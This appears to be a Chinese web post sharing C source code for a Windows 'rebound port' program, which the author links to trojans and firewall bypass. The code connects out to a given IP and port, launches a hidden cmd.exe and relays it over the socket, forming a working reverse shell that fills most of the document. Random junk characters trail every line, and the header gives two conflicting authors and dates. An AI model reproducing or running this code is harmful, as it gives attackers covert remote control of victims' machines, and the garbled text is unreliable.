Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 /kfgx{jZ  
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/* ============================== qzTuxo0B  
Rebound port in Windows NT )a-Du$kd  
By wind,2006/7 "sG=wjcw^  
===============================*/ E@ESl0a;  
#include nJo`B4'U  
#include ?Orxmxc 2  
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#pragma comment(lib,"wsock32.lib") <WcR,d  
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void OutputShell(); uXKERzg  
SOCKET sClient; Ry'= ke  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; _A=$oVe  
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void main(int argc,char **argv) )'~6HO8Z  
{ ={z*akn,  
WSADATA stWsaData; $g sxO!G  
int nRet; {HCzp,Y  
SOCKADDR_IN stSaiClient,stSaiServer; a]MX)?  
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if(argc != 3) v&=gF/$  
{ o|$AyS{1  
printf("Useage:\n\rRebound DestIP DestPort\n"); @~%r5pz6  
return; kOed ]>H  
} "T|PS6R~  
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WSAStartup(MAKEWORD(2,2),&stWsaData); QDhOhGK  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); AT%u%cE-  
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stSaiClient.sin_family = AF_INET; o}$EG  
stSaiClient.sin_port = htons(0); VSSu&Q  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Ba!J"b]  
*3?'4"B{8  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) bLwAXW2K+  
{ iB498t  
printf("Bind Socket Failed!\n"); 3J5!oF{H  
return; ^3UGV*Ypk  
} 2'W<h)m)z  
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stSaiServer.sin_family = AF_INET; k<"oiCE  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); aP/T<QZ~  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); rsy'q(N[  
F 9@h|#an  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) sn)3ZA  
{
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printf("Connect Error!"); {$wjO7Glp  
return; D`$hPYK|_  
} 0`[wpZ  
OutputShell(); m5r7  
} N9v1[~ bv_  
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void OutputShell() [_}J F}6  
{ W#hj 1  
char szBuff[1024]; =,UWX3`f  
SECURITY_ATTRIBUTES stSecurityAttributes; Y$?9Zkp>  
OSVERSIONINFO stOsversionInfo; LL3#5AA"k|  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; "*Tb" 'O  
STARTUPINFO stStartupInfo; vuoQz\  
char *szShell; hBBUw0"  
PROCESS_INFORMATION stProcessInformation; 6,0_)O}\b  
unsigned long lBytesRead; 5Er2}KZJv,  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); E6pMT^{K  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); DKBSFm{~Q  
stSecurityAttributes.lpSecurityDescriptor = 0; <=>=.kmGt  
stSecurityAttributes.bInheritHandle = TRUE; L:i-BI`J  
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lp(8E6  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Ro9tZ'N!S  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); H{=21\a\  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); bp~g;h*E2  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @*6 C=LL  
stStartupInfo.wShowWindow = SW_HIDE; w.?:SD  
stStartupInfo.hStdInput = hReadPipe; WjlZ6g2i  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; xo7Kn+ Kl  
a+%6B_|\  
GetVersionEx(&stOsversionInfo); T>NDSami  
n:{qC{D-qS  
switch(stOsversionInfo.dwPlatformId) !;KCU^9  
{ ;,?KI$K  
case 1: t},/}b  
szShell = "command.com"; _t^{a]/H  
break; j4cwI90=  
default: 2(#7[mgPI  
szShell = "cmd.exe"; 0sfr d  
break; Yi$vg  
} BZ?
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); UOxkO  
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send(sClient,szMsg,77,0); v%iof1 T'  
while(1) k\NMy#]Zt  
{ NnT1X;0W  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); C<m{*C-`a  
if(lBytesRead) V{:A3C41  
{ USM4r!x  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); d~1gMz+)  
send(sClient,szBuff,lBytesRead,0); mqSQL}vR  
} 4\4FolsK  
else lXjXqk\  
{ 7~5ym15*  
lBytesRead=recv(sClient,szBuff,1024,0); K>DRJz  
if(lBytesRead<=0) break; Vnr[}<L  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); XYZ4TeW\1  
} <w)r`D6  
} U'<KC"f:'!  
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return; 'lEA)&d  
}